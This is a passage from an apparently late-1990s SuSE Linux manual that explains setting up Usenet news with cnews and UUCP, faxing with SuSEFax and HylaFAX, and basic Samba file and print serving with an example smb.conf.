The machine that wants to receive news is generally not on-line all the time, due to telephone costs which would be unacceptable for the private user. Usually, UUCP (chapter section 7.4, page 140) is used to exchange news over the net. The machines that deliver news are called newsfeeds. On these machines is a program running several times a day which packs all the news to be transferred to other machines and makes it ready to send via UUCP. Those machines that want to receive news have to poll the newsfeed. They call it up once or several times a day and let the prepared packages be sent.

Since this is a periodic job, it is quite natural to let **cron** handle it. This way, you don't have to start the job by hand each time you want to poll the news. This can be done by editing the cron table via **`crontab -e`** as `'root'`. Enter the following line:

```
7 05 * * *       /usr/lib/uucp/uucico -f -s earth
```

File contents 7.7.1: Example crontab entry to pole Usenet news

A machine with this entry in crontab would call the newsfeed `earth` every day at 5h07 to poll news. Of course, it is required that **UUCP** be configured correctly and the machine be running at the given time.

Installing a local news system

To process the received news files, it is necessary that package `cnews` be installed.

Correct user permissions are very important for cnews to work properly. All configuration should be done as user `'news'`. To do this, log in as `'root'` and change to news with **`su - news`**.

Before starting **cnews** configuration, you should take the amount of news to be received into consideration. News files are saved in `/var/spool/news`. Since these files are relatively small, consider giving it a partition with a small ☞*inode density* (e. g., 2048 bytes per inode). If the amount of news is relatively small, this may not be necessary. But you should ensure that there is enough space for your news.

Now, you have to create directories for all these newsgroups. For maintaining news, there are several tools available in `/usr/lib/news/bin`.

In directory `maint` is the script **addgroup**. It is designed for adding a newsgroup. The example invocation:

`addgroup de.comp.os.linux.x y`

will create the following hierarchy in `/var/spool/news`:

`de/comp/os/linux/x`.

All future news belonging to this particular group will be sorted into this directory.

Remember to become user '`news`' before adding newsgroups. Otherwise, news will not have write permissions for these directories!

After assigning all relevant groups, you have to make sure that those packages received by UUCP are processed correctly and the articles are put into their directories. Typically, this is also done via a **cron** job. Your crontab (which can be seen by typing **`crontab -l`**) for '`news`' should resemble file contents 7.7.2, page 161.

```
#
# Example crontab for the C news Cleanup Release
#
# Sort new news once every 15 minutes
#
0,15,30,45 * * * * touch /tmp/newsrun; /usr/lib/news/bin/input/newsrun
#
# Prepare new news once an hour
#
40 *  * * *   /usr/lib/news/bin/batch/sendbatches
#
# Delete old news once a day
#
59 0  * * *   /usr/lib/news/bin/expire/doexpire
#
# Run newsdaily once a day at 08:10
#
10 8  * * *   /usr/lib/news/bin/maint/newsdaily
#
# Run newswatch once a day at 13:00
#
00 13 * * *   /usr/lib/news/bin/maint/newswatch | mail usenet
```

File contents 7.7.2: A news `crontab file`

The first entry specifies that all newly arrived news packages will be sorted every 15 minutes. Of course, this should be changed if there is only one user who polls only once a day. In this case, it is most recommended to launch **newsrun** directly after polling.

sendbatches is responsible for the local news being packed correctly and passed to the newsfeed at the next polling. In our given example, file contents 7.7.2, this would be done once an hour. Even here, you can do this only once a day just before polling.

Since all news articles get older and then occupy useless disk space on your system, those articles that have reached a certain "age" are expired. That's **doexpire**'s task—to expire articles using the directives in the `/var/lib/news/explist` expires list (see manpage of **`expire`** (**`man expire`**)).

newsdaily and **newswatch** serve solely for supervision. As almost all news programs run in the background, these tools watch in case something happens. If something does happen, *NEWSMASTER* is informed—a report is sent via email to '`news`', '`newsmaster`', or '`usenet`'. There should be alias entries for these pseudo users in your mail system so these mails will reach the user in question (see manpage of **`newalias`** (**`man newalias`**)).

Overview of the configuration files

In table 7.7, page 162, we give a short overview of the configuration files used by **cnews**. These files are located in the home directory of the pseudo user '`news`'. This is normally `/var/lib/news`. All files contain useful defaults and should only be changed if you really know what you are doing.

All changes to these files have to be done as user '`news`'!

active	Contains names of local newsgroups and information about existing articles. This file is kept on the latest update all the time and is read, among others, by the newsreaders for finding out which newsgroups are available.
batchlog	Log file for packing local news. More generations of this file are kept. An `.o` extension is added to older versions.
batchparms	Determines how locally written news is packed and prepared for sending.
crontab	Example crontab table for user '`news`'. This table can easily be installed via **`crontab`**.
errlog	Here, all error messages are logged. Older versions are kept awhile before being deleted.
explist	Determines the behavior of **expire**. Here, you can specify which articles are to be deleted after how many days, whether articles should be archived, and more.
log	Here sorting of all articles is logged.
newsgroups	List of existing newsgroups including description.
organization	Should contain the name of your organization (e. g., your company's name). This field appears in every article written on this machine.
whoami	Name of the local machine.

Table 7.7: **CNews** configuration files

Reading news

There are many tools available for reading news (e. g., **nn**, **tin**, and **trn**). Choice of a newsreader is, as with editors, a personal decision. All these newsreaders can be configured to use a nameserver or to access the local spool directory. There are pre-configured newsreaders in our SuSE Linux package (series `e`). If you want **trn** to access the local spool directory, you should install package `trn-spl.tgz`. For use with a nameserver, choose package `trn.tgz` instead. In the latter case, `/etc/nntpserver` has to contain the name where the NNTP server runs.

7.8 Faxing with Linux

There are two alternatives if you plan to use your Linux machine for faxing:

- Use **mgetty** with **sendfax**.
- Install the **HylaFAX** fax server. Here, you have the **SuSEFax** front end designed in Java.

> Since SuSE Linux version 5.0, the package `mgetty` has been separated into two packages: package `mgetty` and package `sendfax`, as some commands of package `hylafax` and package `sendfax` are identical.

The next two sections describe how to set up and configure **hylafax** and **SuSEFax** on SuSE Linux.

7.8.1 SuSEFax—an HylaFAX fax client

As already mentioned, **SuSEFax** has been designed in Java. This, in particular, means that you need to install the Java Developers Kit along with package `susefax`. If you want to use **SuSEFax** on another platform, you should install package `susefax` and copy everything from `/usr/lib/SuSEFax` to the destination directory on the other platform.

The startup wrapper

SuSEFAX is launched via a small script called a "wrapper". It, in turn, sets all needed parameters, checks for settings and invokes the Java interpreter. This script is located in `/usr/X11/bin/susefax`. It is possible to set up the SuSEFAX system independently of the wrapper.

System properties

table 7.8 shows all SuSEFAX system properties that have to be set up: their meaning and default values. If you launch the interpreter without any additional options, these settings are used. There is normally only one parameter that needs to be set. This is `susefax.images`. If you run the program on an operating system with multiuser capabilities, (e. g., Linux), this is not needed. In particular, this means that each user will be assigned a home directory on **UNIX** systems and **Windows NT** (but *not* on **OS/2**). If this is not possible on your system, you should set the values for `susefax.setup.path`, `susefax.setup.file` as well as `susefax.phonebook.file` as SuSEFAX might not work otherwise.

Property	**Default value**	**Meaning**
`susefax.setup.path`	`$HOME`	Directory where the configuration files and the telephone database should reside
`susefax.setup.file`	`.susefaxrc`	Name of the configuration file
`susefax.phonebook.file`	`.susephone`	Name of the telephone number database
`susefax.images`	`./images`	Directory where all necessary images are stored

Table 7.8: The *System Properties* of **SuSEFax**

If you want to change some of these parameters, just remove the comments in front of the variable names (see file contents 7.8.1).

```
# if you want to store the settings other than
# $HOME/.susefaxrc, then you may place another path and/or
# filename here

SETUPDIR=    # -Dsusefax.setup.path=/where/ever/you/want
SETUPFILE=   # -Dsusefax.setup.file=/what/ever/you/want

# even the phone book can be renamed to whatever

PHONEBOOK=   # -Dsusefax.phonebook.file=asyoulikeit
```

File contents 7.8.1: Section of the wrapper script: `/usr/X11/bin/susefax`

Handling—instructions for use

This is the main application window after the `'Send queue'` has been activated and `'Fetch state'` has been invoked. `'Fetch state'` tells you about jobs that are still queued, i. e., faxes that were sent within the last few minutes. If you activate the `'Receive queue'` button, all faxes that were received within the last few days will be listed. You may set up the automatic display by clicking on `'Update information'`, then enter an interval in the box below and confirm by pressing ↵ . There is a jobs list that tells you what actions are performed on a double click. This depends on which button (`'Receive queue'` or `'Send queue'`) has been activated. In `'Send queue'`, you may decide what should happen on a double click—either to get information on the job or to delete it. In `'Extras'`, you may select the language (`English` or `German`).

Figure 7.8: Send queue

Let's set it up first

Before you can get any feedback from the server or launch any processes, you must configure the application. This is done via `'Main Settings'` in the `'Program'` menu. All settings will be saved. If you exit the program, all settings will be saved as well.

Global settings

Here, we give you a list of the entries and their meaning:

Username: Here, you may enter the name of the user. This is needed for creating fax covers.

EMail: All messages from the fax server are sent to this electronic mail address, e. g., if a fax has been removed without having been sent.

User account: The fax server is capable of distinguishing between different users. You may allow or deny access. That's why you need to enter the account name that is known to the server. You may even assign a password to the user.

Figure 7.9: Dialog for global settings

Hostname of the faxserver: This is the name of the host where your fax server runs.

Automatic faxing: If this button is activated, the fax server checks the file given in 'Spool file' every couple of seconds. If it has changed, you will get a 'Send fax' automatically. This comes in handy if you print to a file from another application. Thus, each application is capable of sending faxes provided it is capable of converting it to Postscript (see section 7.8.3).

Spool file: Here, you need to set up the complete path to the spool file if you want to make use of the "automatic fax sending" feature. Clicking on 'Search' offers a file browser where you may set up this file.

Fax cover: For automatic generation if a fax cover, a special PostScript file is needed. Here, you need to enter the complete path.

Time zone: This should be the same that you set up on the fax host.

Country: Date and time settings depend on this entry, e. g., on your fax cover.

Job settings

After the global settings have been made, you may send your first fax. A fax or a file respectively is converted to a "job" which waits to be sent (perhaps along with some other jobs). There are some job parameters for each job. These may be set prior or after queueing the job. Prior to sending the job, this may be done in 'Job settings' which is accessible via 'Extras'. Here, we give a short overview:

Figure 7.10: Dialog for job parameters

Notification Scheme: Here, you may set when the fax server should send a notification to the user whose electronic mail address was set previously. Here, there are four different schemes:

- **Never (only errors):** If an error occurs, a message is sent to the user that sending a job failed.
- **After sending:** The user is informed after successfully sending each fax.
- **After a Requeue:** The user is sent a message if a fax fails e. g., because the remote machine is busy.
- **After Requeue and Sending** This is a combination of the last two schemes.

Generally, the first scheme applies even if you select another scheme.

Resolution: Here, you enter the resolution of the fax to be sent. It is given in lines per inch (lpi).

Priority: Priority of a job in the queue. The default value is set to 127. This is actualized if a job fails (due, e. g., to a busy line).

Maximum tries to sent: Here you enter how many times the server should try to send a fax once a connection has been established.

Maximum tries to dial: Here you enter how many times the server should try to connect to a remote machine (e. g., if the line is busy).

Paper format: There are currently three supported formats: A4, A3 and Letter. This depends on the format of the PostScript document to be sent.

If you have activated `'Modify job parameters'` in the main window, you will get a dialog window on a double click. Here, you may set the same parameters as above: `'Notification scheme'`, `'Maximum tries to send'` as well as `'Maximum tries to dial'`.

External viewer

If the job list shows any received faxes, you may view the faxes using an external viewer. The fax itself uses the `tiffg3` format. Thus, your viewer should be capable of displaying this format. This format enables you to combine multiple images within one file. There is a small script that comes with **SuSEFax** that creates a PostScript file. It uses `fax2ps` from **TIFFSoftware** by Sam Leffler [Leffler, 1996b] (package `tiff`). This is handed to a PostScript viewer. The tool looks for **gv** by Johannes Plass (package `gv`). If this is not found, it uses **GhostView** by Timothy O. Theisen (package `gs_x11`). This tool is called `docview` and may be found in `/usr/lib/SuSEFax`.

Here are the options for the external viewer.

Path to temporary files: Here, **SuSEFax** stores the `tiffg3` from the server and replaces the `$F` with the image's complete pathname.

> The user who invoked **SuSEFax** needs to have read and write permissions in this directory!

Invoking the viewer: Here, you need to enter the *full* pathname to the program that should display the file. It has to accept the file's name as a parameter.

Sending a fax

After configuring SuSEFax and HylaFAX, you should make sure that you are able to fetch the status settings of the fax server (see page 164). If not, you will not be able to send a fax—check the configuration of **SuSEFax** and **HylaFAX** for errors. If everything was set up correctly, you should see a dialog when clicking on `'Fax send'`. Here are the different items to select or enter:

Telephone number of the remote host: The telephone number of the remote machine. You may select an item from the telephone book if you click on `'From telephone book'` (of course, you will need to enter the numbers first).

Document to be sent: Here should be the full pathname to the document you'd like to send. If you select `'Search'`, you may select a file in the browser.

Use fax cover: This may only be activated if you you have set up a fax cover file in the global settings. A fax cover will then be generated and sent.

Do not send immediately: If this is activated, a dialog window pops up where you may enter the time for the fax to be sent. If you leave this dialog by clicking `'Cancel'`, the fax will be sent immediately just as if you had clicked on `'Send fax'`.

For time and date settings:

- If you have made a selection, then confirm by pressing ↵. Now the program checks whether this is an existing value. If not, it is converted to a valid date.

Name of sender: Here, the name that has been set in global settings is used.

Name of recipient:

Regarding:

To company:

Comment:

Selecting `'Poll fax'` assumes that you have set up a telephone number for the fax polling server. Of course, you need to give the name of a file that should be sent.

Meaning of the job list

As already mentioned, you may switch between the contents of the send queue and the contents of the received queue. Here, we give a short overview:

Reception queue

Figure 7.11: Example of a reception queue

From left to right: first are the permissions, the size (in bytes), number of pages, the TSI and the name of the received fax. The TSI (Transmission Subscriber Identification) is an identification format the user has set up on his machine. This must not be a telephone number. It might be a company name instead.

> Faxes received may only be viewed by a double click if the fax server has been set up for every user to read them. For this to work, you need to set the value `0644` in **`RecvFileMode:`** in `/var/spool/fax/etc/config.`*`device`* (see section 7.8.4).

Figure 7.12: Example of a send queue

Send queue

From left to right: the job ID, the priority of the job, the user account, the target telephone number, the time and/or number of tries and the maximum number of rings. If an error occurs, you will see the corresponding error message. The job ID is assigned automatically by the fax server. You may set a priority as a user, but the server may adjust this setting. The user account tells you which user has launched the job. The user is the only one who can delete the job or change its parameters.

The telephone book

Figure 7.13: The telephone book

The telephone book (see figure 7.13) is for administering and maintaining your personal phone numbers. You may list and sort them according to name, surname, fax number and company. Double clicking an entry will launch the editor. You may now select another item and its entries will be presented. `‘Accept entry’` adds the item to your list providing you filled out the following entries: `‘Surname’`, `‘Name’` und `‘Telephone number’`.

If you have activated the `‘View entry’` mode, double clicking on `‘Send fax’` will invoke the `‘Send fax dialogue’` using the entries `‘Surname’`, `‘Name’`, `‘Telephone number’`, `‘Company’` and `‘Comment’` as defaults for the cover page (see page 168).

Of course, the cover will only be sent if you have activated the item `‘Use fax cover’`. If you have launched a process that disables the selection bar (e. g., by `‘Sort’`), you may reactivate it afterwards by selecting an entry.

A new entry is added as soon as you click `'Add'`. `'Remove'` deletes the currently selected entry. The list is only sorted if you explicitly activate the `'Sort'` button. The button `'Save changes'` and `'Save & Exit'` both make your phone book changes permanent. To cancel your changes, press the `'Cancel'` button.

The telephone book may be used as a standalone application. Just enter **susephone** and the wrapper will be called. You may not send faxes with this tool in standalone mode.

Do not invoke multiple instances of the telephone book. If you do it by mistake, be sure not to save in both.

The faxed form letter

The form fax dialog enables you to generate a serial fax list from the telephone list. To add or remove an item, it has to be marked. You may select either by mouse of by one of the toggle buttons. If `'⇐Toggle'` is activated, all selected entries will be marked as disabled and vice versa. The same applies to the list. `'Send faxes'` causes all faxes in the list to be sent. You cannot create a fax cover for serial faxes.

7.8.2 Automatic generation of the fax cover

As mentioned above you will need a PostScript template to automatically generate fax covers. This, by itself, is not a PostScript file but a template that includes certain holders that are inserted automatically during the creation of the cover. Creation of a template may be time consuming. If you are familiar with LaTeX, you may use the package `latex-cover`.[8] Here, there is an easy to handle TeX style for creating covers with TeX. The cover used for this package and for package `hylafax` has been created with this versatile tool.

If you don't want to use it, you will have to create a "normal" PostScript file and insert the entries by hand.

Which options are known to SuSEFax?

If you want to modify the TeX document, be aware that **SuSEFax** only replaces the following macros:

`\toperson`
`\from`
`\regarding`
`\tocompany`
`\todaysdate`
`\comments`

If you want to check your self-made template, you may use the **faxcover** tool which is included in package `hylafax`. This will create a PostScript file out

[8] It is installed in `/usr/doc/packages/hylafax` with package `hylafax`.

of the template. Then you may print or view it. You may as well use the Java binary **FaxCovergen.class**. from package `susefax`. Just enter the following:

```
newbie@earth:/home/newbie > java -classpath
   /usr/lib/java/lib/classes.zip:/usr/lib SuSEFax.FaxCovergen
```

Now you should see:

```
Command: FaxCovergen sourcecover.ps docname.ps targetcover.ps
```

The source cover is your template. `docname.ps` is the document that will be sent. It will be saved under `targetcover.ps`. Now you may view either of them.

7.8.3 Fax spooling on UNIX/ Linux

The spooling mechanism of **SuSEFax** was originally designed for use with **Windows**. You may use it on **Linux** as well. For this to work, you will need to install package `faxprint`, series `n` (Network support).

If you convert `/etc/passwd` to a PostScript file by entering the command `a2ps -nP /etc/passwd | lpr -Pfax`, there should be a file in `/tmp` called `fax_`*`accountname`*`.ps`. *accountname* is just your login. If this file exists, you may enter it as a spool file as given in section 7.8.1 and activate the `'Automatic fax'` button.

> The spooling mechanism only works if **SuSEFax** is running. If this is the case, it checks the time stamp `Lastmodified` of the spool file regularly and opens it if it has been changed.

7.8.4 HylaFAX—distributed faxes

Function

Installation and configuration of **HylaFAX** is not covered by our installation support (see section I.1.2, page 426). You may contact our business support team for this. This service is not free of charge (see section I.1.2, page 427).

figure 7.14 shows how the fax server works and how it interacts with the client. As you can see, there are three different ways for communicating with the server. The protocol that is used on port 4557 is still used due to compatibility reasons with older versions of **HylaFAX**. **WinFlex** by Peter Bentley, e. g., runs on **Windows** and still uses this protocol. New clients should use the new protocol on port 4559. This protocol is based on *File Transfer Protocol, RFC959*. The third available protocol is SNPP *(Simple Network Paging Protocol, RFC1861)*.

The server itself consists of three different daemons. Each of them is responsible for a specific task:

hfaxd This is the protocol server. It is responsible for the communication between the client and the server. It may be launched standalone, e. g.,

Figure 7.14: Functioning of **HylaFAX** servers

via the **init** process or via **inetd**. It shares a "FIFO file" with the **faxq** process itself.

faxq This is the so called "Queueing Agent". It is responsible for maintaining in and outgoing faxes as well as the job queue. This process runs all the time. Make sure there is only *one of these* running.

faxgetty This tool is responsible for the communication between the server and the modem. As an alternative to **faxgetty**, you may use the **faxmodem** tool if you want to send but not receive faxes. Alternatively, you might administrate it via a FIFO file.[9]

Directory structure

The server runs in *change root* mode (see **man chroot**). By default, the *Server-Root* directory is `/var/spool/fax`. All processes and the *Server-Root* directory itself belong to `'uucp'`. table 7.9 shows a list of all directories that may be found in *Server-Root* and gives a short description.

[9] FIFO = First In First Out.

archive	Here, jobs are archived if *job archival support* is activated.
bin	Here are all scripts used by: faxq, faxsend, pagesend and faxgetty.
client	This is for the FIFO files that communicate with faxq.
config	Configuration, permissions and user accounts are here.
dev	Since the whole system runs in chroot, you will find all character devices needed (null, socksys und tcp).
docq	This, as well as tmp, are used for pre-checking jobs.
doneq	Jobs that were done but neither archived nor deleted.
etc	See manpage of **config** (**man config**).
info	This is for general information on hosts that are already known to **HylaFAX**.
log	Here, you will find the logs of both sender and receiver.
pollq	This is for documents obtained by polling the server.
recvq	Incoming faxes.
sendq	Outgoing faxes.
status	Status information on the server itself.
tmp	See manpage of **docq** (**man docq**).

Table 7.9: The HylaFAX *Server-Root* directories and their function

In addition, there are some FIFO files: the file /var/spool/fax/FIFO itself as well as one /var/spool/fax/FIFO.devname per modem that is maintained by **faxgetty**. devname stands for the device to which the modem is connected.

Configuration

The configuration itself is divided into 2 up to 2+n configuration files. Here, 'n' gives the number of modems used. In /var/spool/fax/etc, you will find the files config and config.*device*. The latter configures the modem attached to *device*. So, if there is a modem connected to /dev/ttyS0, the name would be config.ttyS0.

General settings are entered in config. These are needed by the scheduler process faxq itself. Modem specific setup may be found in config.*device*. Settings for the queueing service may be found in config. The files for the protocol server are in /usr/lib/fax/hfaxd.conf. These configuration files are created automatically if you invoke **faxsetup** after installation.

Example configuration

Here, you see an example session with **faxsetup**. We will use the data mentioned in table 7.10.

Below, the **bold** letters are user entries.

Telephone number	(0)49(0)911-3206728[10]
Modem Fax-Class	2.0

Table 7.10: HylaFAX configuration example data

Configuration of the scheduler

- `Should an entry be added to /etc/inetd.conf [no]?` ↵
- `Country code [1]?` **49**
- `Area code []?` **911**
- `Long distance dialing prefix [1]?` **0**
- `International dialing prefix [011]?` **00**
- `Dial string rules file (relative to /var/spool/fax) ["etc/dialrules"]?` ↵
- `Tracing during normal server operation [1]?` **527**
- `Default tracing during send and receive sessions [0xffffffff]?` **527**
- `Continuation cover page (relative to /var/spool/fax) []?` **etc/cover.templ**
- `Timeout when converting PostScript documents (secs) [180]?` ↵
- `Maximum number of concurrent jobs to a destination [1]?` ↵
- `Define a class of modems []?` **"any"**
- `Time of day restrictions for outbound jobs ["Any"]?` ↵
- `Pathname of destination controls file (relative to /var/spool/fax) []?` ↵
- `Timeout before purging a stale UUCP lock file (secs) [30]?` ↵
- `Max number of pages to permit in an outbound job [0xffffffff]?` **30**
- `Syslog facility name for ServerTracing messages [daemon]?` ↵

After the data has been entered, you will get a summary of what you just entered as given in screen output 7.8.1.

Configuration of the server

After the scheduler has been configured, **`faxsetup`** requests whether you want to set up your modem using **`faxaddmodem`**. Obviously, you should reply yes. Now, the serial line has to be entered without entering the full pathname—just `modem` if it is `/dev/modem`.

- `Country code [49]?` ↵
- `Area code [911]?` ↵

[10] Of course, you should use your telephone number and enter it correctly in `faxsetup`.

```
The non-default scheduler parameters are:

CountryCode:            49
AreaCode:               911
LongDistancePrefix:     0
InternationalPrefix:    00
ServerTracing:          527
ContCoverPage:          etc/cover.templ
MaxSendPages:           30
ModemClass:             "any"
SessionTracing:         527
```

Screen output 7.8.1: HylaFAX scheduler configuration example summary

- `Phone number of fax modem [+1.999.555.1212]?` **+49.911.3206728**
- `Local identification string (for TSI/CIG) ["NothingSetup"]?` **"S.u.S.E. GmbH"**
- `Long distance dialing prefix [0]?` ↵
- `International dialing prefix [00]?` ↵
- `Dial string rules file (relative to /var/spool/fax) ["etc/dialrules"]?` ↵
- `Tracing during normal server operation [1]?` **527**
- `Tracing during send and receive sessions [11]?` **527**
- `Protection mode for received facsimile [0600]?` **0644**
- `Protection mode for session logs [0600]?` ↵
- `Protection mode for modem [0600]?` **0666**
- `Rings to wait before answering [1]?` ↵
- `Modem speaker volume [off]?` ↵
- `Command line arguments to getty program ["-h %l dx_%s"]?` **"-r -b -s %s %l"**
- `Pathname of TSI access control list file (relative to /var/spool/fax) [""]?` ↵
- `Pathname of Caller-ID access control list file (relative to /var/spool/fax) [""]?` ↵
- `Tag line font file (relative to /var/spool/fax) [etc/lutRS18.pcf]?` ↵
- `Tag line format string ["From %%l|%c|Page %%p of %%t"]?` ↵
- `Time before purging a stale UUCP lock file (secs) [30]?` ↵
- `Hold UUCP lockfile during inbound data calls [Yes]?` ↵
- `Hold UUCP lockfile during inbound voice calls [Yes]?` ↵

- `Percent good lines to accept during copy quality checking [95]?` ⏎
- `Max consecutive bad lines to accept during copy quality checking [5]?` ⏎
- `Max number of pages to accept in a received facsimile [25]?` ⏎
- `Syslog facility name for ServerTracing messages [daemon]?` ⏎
- `Set UID to 0 to manipulate CLOCAL [""]?` ⏎

The summary given in screen output 7.8.2 is created according to the settings entered above.

```
The non-default server configuration parameters are:

CountryCode:            49
AreaCode:               911
FAXNumber:              +49.911.3206728
LongDistancePrefix:     0
InternationalPrefix:    00
DialStringRules:        "etc/dialrules"
ServerTracing:          527
SessionTracing:         527
RecvFileMode:           0644
DeviceMode:             0666
RingsBeforeAnswer:      1
SpeakerVolume:          off
GettyArgs:              "-r -b -s %s %l"
LocalIdentifier:        "S.u.S.E. GmbH"
TagLineFont:            etc/lutRS18.pcf
TagLineFormat:          "From %%l|%c|Page %%p of %%t"
MaxRecvPages:           25
```

Screen output 7.8.2: Example HylaFAX server configuration

This completes configuration of the scheduler and server.

Now, you may set whether you want to start **`faxmodem`** for each of the configured modems. This is an alternative to **`faxgetty`** which is send-only. You may choose either way.

Adaptive Answer Support

A handy feature of the fax server (**faxgetty**) is the so-called “Adaptive Answer Support”, which enables the server to launch any **getty** depending on the type of incoming call. This might be a data call as well. For this to work. make sure the entry in file contents 7.8.2 is configured (see section 7.8.4).

Here, `%s` is a substitute for the DTE/DCE between machine and modem. This is set to 38400 bps (bits per second) by default. Some modems manufactured by **USRobotics** cannot support this rate (see [Leffler, 1996a]) and

```
GettyArgs:              "-r -b -s %s %l"
```

File contents 7.8.2: Entry for Adaptive Answer Support

generate transceiving errors. This may be avoided by decreasing the baud rate (<ModemRate>) to 19200 in the appropriate modem configuration file. The default **getty** is **mgetty** (package `mgetty`, series `n` (Network support)). For this to work, you need to modify the **mgetty** configuration file (`/etc/mgetty+sendfax/mgetty.config`) using the entries given in file contents 7.8.3.

```
port modem
direct y
toggle-dtr n
```

File contents 7.8.3: Entry in `mgetty` configuration file

The keyword **`modem`**[11] is your modem's device name. Make sure that **faxgetty** as well as **mgetty** use the same device.

Fax dispatching

Fax dispatching is the redirection of incoming faxes to a given electronic mail address. You will need to create the file `etc/FaxDispatch` in the *Server-Root* directory. file contents 7.8.4 shows an example configuration:

```
case "$SENDER" in
*0815*) SENDTO=newbie;;
*)      SENDTO=FaxMaster;;
esac
```

File contents 7.8.4: Example of `etc/FaxDispatch`

Incoming faxes are identified by their TSI. In our example, every fax with `0815` in its TSI will be automatically forwarded to the user '`newbie`' via electronic mail (as a PostScript attachment).[12] Furthermore, every incoming fax is redirected to '`FaxMaster`'.

> If you have any problems configuring **HylaFAX**, please look at our Support DataBase, package `susehilf`, series `doc` (Documentation). Enter the keyword "fax"and you will find lots of useful information.

[11] If it is `/dev/modem`, then it refers to a link to `/dev/ttySx`.
[12] You may change the file format by modifying **bin/faxrcvd**.

Chapter 8
Samba PC Server

Using **samba** developed by **Andrew Tridgell** from Australia, you can convert any UNIX machine into a powerful file and print server for DOS and Windows machines. Since its beginnings in 1991, Samba has proven to be a stable and reliable product which has made its way into companies and serves as a supplement or even a replacement for **NetWare** and **Windows NT** servers.

In the meantime, Samba has become a rather complex product. We cannot cover all the details in this book but only an overview. In `/usr/doc/packages/samba`, you can find many documents that will help you build complex network solutions with Samba. Samba's reference file `/etc/smb.conf` has its own extra man page (manpage of **`smb.conf`** (**`man smb.conf`**)).

Samba configuration is not covered by SuSE's installation support. For Samba support, you need our business support. Please see section I.1.2, page 427, for details.

8.1 Introduction

The concepts of MS-DOS/Windows and UNIX networking differ remarkably. That is why we want to give a short overview of MS-DOS/Windows networking using **NetBIOS**.

NetBIOS

NetBIOS is a software interface (API) which has been designed for communication between machines. Here a so-called name service is provided. This enables machines connected to the net to reserve names for themselves. After reservation, these machines can be addressed by their names. There is no central process that checks names. Any machine on the network can reserve as many names as it wants provided the name is not already in use.

This dynamic architecture has its origin in PC networks where installation of a new network node had to be made as easy as possible. Configuration of a machine was reduced to giving it a name. Problems of unique names with a maximum length of 16 characters could be ignored as the networks were not so extended.

Besides the name service, there are services for communication itself. There are secure and insecure data streams. These might be compared to TCP and

UDP protocols in the UNIX world. The higher protocols such as the SMB protocol are the layer on top of them.

The NetBIOS interface can now be implemented for different network architectures. An implementation that works relatively closely with network hardware is called **NetBEUI** but is often referred to as **NetBIOS**.

For addressing single packets, NetBEUI works with the hardware address of the adapter. In contrast to **IPX** or IP addresses, you cannot get routing information from it. It is not possible to transfer NetBEUI packets via routers. A network running NetBEUI is reduced to the range that can be reached by repeaters and bridges.

Network protocols that have been implemented with NetBIOS are IPX from **Novell** and TCP/IP. The protocol to lay NetBIOS onto TCP/IP is described in RFCs 1001 and 1002. RFC 1001 contains a good and understandable introduction to NetBIOS concepts which helps when trying to understand services such as **WINS**.[1]

The NetBIOS names that are sent via TCP/IP have nothing in common with the names used in `/etc/hosts` or are sent via ☞*DNS*. NetBIOS is a name space of its own. It is recommended, however, that you use names that correspond to DNS hostnames for making administration easier. This is the Samba default.

SMB

The SMB protocol (Server Message Block) makes file and print services in Windows and **LAN Manager** available. SMB protocol is based on NetBIOS services. It is comparable to NFS. Here, it is not different from other protocols such as the NetWare Core protocol. Microsoft has released the specifications of the SMB protocols so that others may now support SMB as well.

Microsoft has recently extended the SMB protocol and renamed it to **CIFS** (Common Internet File System). Microsoft is now trying to establish CIFS as the Internet standard to gain more support for this protocol.[2]

Samba is a server that implements the SMB protocol under UNIX. Samba can turn any UNIX machine into a file and print server for most PC operating systems. Samba has been ported to many operating systems. It runs on the real-time QNX as well as on the Cray. Novell has ported Samba to NetWare 4.1 and calls it the “Migration Toolkit”—providing an easy way for Windows NT users to switch to NetWare.

Clients

Except for DOS and Windows 3.1, every current PC operating system supports the SMB protocol for importing and exporting. Windows for Workgroups supports SMB in its standard installation only via IPX and NetBEUI. For using Samba, which can only provide SMB via TCP/IP, addi-

[1] WINS is nothing more than an extended NetBIOS name server and *not* an idea of **Microsoft**—only the name is new!

[2] For those interested in CIFS specifications, look at `ftp://ftp.microsoft.com/developr/drg/CIFS/cifs`. In `/developr/drg/CIFS` are the older specifications of SMB.

tional software has to be installed, which (if needed) may be obtained from `ftp://ftp.microsoft.com/bussys/Clients`.

SMB servers provide hardware space to their clients by means of so-called shares. Here, a share includes a directory and its subdirectories. It is exported by a name and can be accessed by its name. Of course, the share name can be set to any name. It does not have to be the name of the export directory. A printer is also assigned a name. Clients can access the printer by its name.

Permissions

An NFS server is configured via `/etc/exports`. Additional restrictions are possible only for a single machine. In NFS, this makes sense since it was designed for UNIX workstations that themselves check permissions and authentication. But on Windows, where any user can get "root" permission, the NFS protocol is no longer suitable. NFS clients for DOS must be regarded as immense security holes!

The SMB protocol comes from within the DOS world and directly covers the security issues. Any access to a share can be protected by a password. SMB now has two alternatives for providing this:

- Share Level Security

  A password is directly assigned to any share. Anybody who knows this password can access the share.
- User Level Security

  This variant introduces the user concept in SMB. Every user has to log in at the server using his login and password. After a successful login, the server can now grant access depending on the user's permissions.

The distinction between share and user level security has to be set for the server as a whole. It is not possible to export some shares as share level security whereas others are exported as user level security.

By default, Samba is set to share level security. Here, the home directories of the users are protected by the normal user password. For other shares, a user has to be entered by giving the `user` option whose password is used as protection. The parameter **`security`** may be given as **`security = user`** in `smb.conf`. Then users are validated as usual under UNIX using `/etc/passwd` and `/etc/group`. Samba offers also a third possibility by providing **`security = server`**. If this option is activated, Samba validates the user on another (NT) server which has to be set by the option **`password server`**.

8.2 Installation of the server

Almost anything that can be configured is done in `smb.conf`. This file resembles a Windows .INI file. It is separated into different sections which by themselves contain certain parameters. Generally, a share is described per section whose name is given by the sections name. There are three special sections as well. These are **`[globals]`**, **`[homes]`** and **`[printers]`**. In **`[globals]`**, parameters are set that are not specific to a certain share. If the option **`[homes]`** is set, any user on the server can access their home directory without having to define a home-share for each user. The same applies to printers. All printers in `/etc/printcap` are accessible without setting them separately.

8.2.1 smb.conf

A simple example file can be seen in file contents 8.2.1.

```
[global]
   workgroup = workgoup
   guest account = nobody
   keep alive = 30
   os level = 2
   security = share
   printing = bsd
   printcap name = /etc/printcap
   load printers = yes

[homes]
   comment = homedirectory
   browseable = no
   read only = no
   create mode = 0750

[printers]
   comment = All Printers
   browseable = no
   printable = yes
   public = no
   read only = yes
   create mode = 0700
   directory = /tmp
```

File contents 8.2.1: Example for `/etc/smb.conf`

This `/etc/smb.conf` provides access to the home directories of the users as well as all printers listed in `/etc/printcap`.

